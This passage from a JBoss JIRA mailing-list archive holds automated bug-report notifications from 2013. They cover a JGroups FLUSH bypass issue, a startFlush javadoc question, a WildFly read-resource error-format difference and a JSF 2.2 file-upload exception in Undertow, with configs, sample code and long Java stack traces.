> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:33:04 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 17 Sep 2013 04:33:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1698) Bypass on FLUSH
In-Reply-To: <JIRA.12500819.1379405023000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500819.1379405023000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500819.1379405023000.29550.1379406784146@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1698?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804931#comment-12804931 ] 

shen kim commented on JGRP-1698:
--------------------------------

I used the this config:
<config xmlns="urn:org:jgroups" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.3.xsd">
<UDP />
<PING />
<MERGE2 />
<FD_SOCK />
<FD_ALL />
<VERIFY_SUSPECT />
<pbcast.NAKACK2 />
<UNICAST3 />
<pbcast.STABLE />
<pbcast.GMS />
<UFC />
<MFC />
<FRAG2 />
<pbcast.STATE_TRANSFER />
<pbcast.FLUSH bypass="true"/>
</config>

And simple start two thread like this:
public class Receiver extends ReceiverAdapter {

	private JChannel channel;

	private void start() throws Exception {
		this.channel = new JChannel("flush-udp.xml");
		this.channel.setReceiver(this);
		this.channel.connect("ChatCluster");
	}

	public static void main(String[] args) throws Exception {
		for (int i = 0; i < 2; i++) {
			new Thread(new Runnable() {
				public void run() {
					try {
						new Receiver().start();
					} catch (Exception e) {
						e.printStackTrace();
					}
				}
			}).start();
		}
	}

	public void receive(Message msg) {
		System.out.println(msg.getObject());
	}

	public void viewAccepted(View view) {
		System.out.println(view);
	}
}
Two members can not found each other, and the thread which start secondary likely be locked.
                
> Bypass on FLUSH
> ---------------
>
>                 Key: JGRP-1698
>                 URL: https://issues.jboss.org/browse/JGRP-1698
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>             Fix For: 3.5
>
>
> When I used 
> <pbcast.FLUSH bypass="true"/>
> start cluster, all of members would receive null Message periodical.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 05:07:04 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 17 Sep 2013 05:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1699) JChannel.startFlush cannot
 block any member sending message
In-Reply-To: <JIRA.12500823.1379408822784@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500823.1379408822784@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500823.1379408822784.29625.1379408824025@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1699:
------------------------------

             Summary: JChannel.startFlush cannot block any member sending message
                 Key: JGRP-1699
                 URL: https://issues.jboss.org/browse/JGRP-1699
             Project: JGroups
          Issue Type: Bug
            Reporter: shen kim
            Assignee: Bela Ban


Using following config:
<config xmlns="urn:org:jgroups" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.3.xsd">
<UDP />
<PING />
<MERGE2 />
<FD_SOCK />
<FD_ALL />
<VERIFY_SUSPECT />
<pbcast.NAKACK2 />
<UNICAST3 />
<pbcast.STABLE />
<pbcast.GMS />
<UFC />
<MFC />
<FRAG2 />
<pbcast.STATE_TRANSFER />
<pbcast.FLUSH timeout="500"/>
</config>

Review javadoc for JChannel.startFlush
public void startFlush(boolean automatic_resume) throws java.lang.Exception
After this call returns, no member will be sending any messages until Channel.stopFlush() is called.

And with my case used startFlush(false), after this method without stopFlush, all members can still send/receive. 

Is this method should not blocking the sending?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 05:20:03 2013
From: jira-events at lists.jboss.org (Harald Pehl (JIRA))
Date: Tue, 17 Sep 2013 05:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2094) Different results for
 read-resource operation in WildFly master and EAP 6.x
In-Reply-To: <JIRA.12500824.1379409526802@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500824.1379409526802@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500824.1379409526802.29649.1379409603566@jira02.app.mwc.hst.phx2.redhat.com>

Harald Pehl created WFLY-2094:
---------------------------------

             Summary: Different results for read-resource operation in WildFly master and EAP 6.x
                 Key: WFLY-2094
                 URL: https://issues.jboss.org/browse/WFLY-2094
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Harald Pehl
            Assignee: Brian Stansberry


When executing a read-resource operation for a model node that does not exist, I get different results in WildFly master and EAP 6.x:

{code:title=WildFly master}
"JBAS014807: Management resource '[
    (\"core-service\" => \"management\"),
    (\"access\" => \"authorization\"),
    (\"role-mapping\" => \"Administrator\")
]' not found"
{code}

{code:title=EAP 6.1}
{
    "outcome" => "failed",
    "failure-description" => "JBAS014807: Management-Ressource '[
    (\"core-service\" => \"management\"),
    (\"access\" => \"authorization\"),
    (\"role-mapping\" => \"Administrator\")
]' nicht gefunden",
    "rolled-back" => true
}
{code}

In EAP 6.x I get the correct error result which includes {{"outcome" => "failed"}} whereas in WildFly I just receive the error message wihtout the surrounding model node. 

The error occurs when using the HTTP protocol. Using the CLI / native interface both versions return the correct (complete) error response.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 05:20:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 17 Sep 2013 05:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2073) Uploading a file using JSF
 2.2 throws an exception
In-Reply-To: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500717.1379188731000.29652.1379409603684@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2073?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804955#comment-12804955 ] 

Stuart Douglas commented on WFLY-2073:
--------------------------------------

This should be fixed in upstream Undertow.
                
> Uploading a file using JSF 2.2 throws an exception
> --------------------------------------------------
>
>                 Key: WFLY-2073
>                 URL: https://issues.jboss.org/browse/WFLY-2073
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Ubuntu OS 64 bit, Java 7 (java version "1.7.0_40"), JSF version 2.2.1, JSF vender JBoss by Red Hat
>            Reporter: alexandre xypas
>            Assignee: Stuart Douglas
>              Labels: servlet, undertow
>
> Using JSF 2.2, the following should work:
> <h:form enctype="multipart/form-data">
>       <h:inputFile value="#{bean.file}" required="true">
>            <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
>       </h:inputFile>
>       <h:messages />
>  </h:form>
> With the bean:
>         private Part file; // +GET/SET
> 	public void handleFileUploadAjax(AjaxBehaviorEvent event) {
> 	    System.out.println("file size: " + part.getSize());
> 	    System.out.println("file type: " + part.getContentType());
> 	    System.out.println("file info: " + part.getHeader("Content-Disposition"));
> 	}
> The problem remains without using Ajax.
> but throws the following exception when a file is uploaded:
> 22:46:04,333 WARNING [javax.enterprise.resource.webcontainer.jsf.lifecycle] (default task-3) UT000017: Form value is a file, use getFile() instead: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> 22:46:04,344 ERROR [io.undertow.request] (default task-3) Servlet request failed HttpServerExchange{ POST /doctor/doctorUpdates.xhtml}: javax.servlet.ServletException: UT000017: Form value is a file, use getFile() instead
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
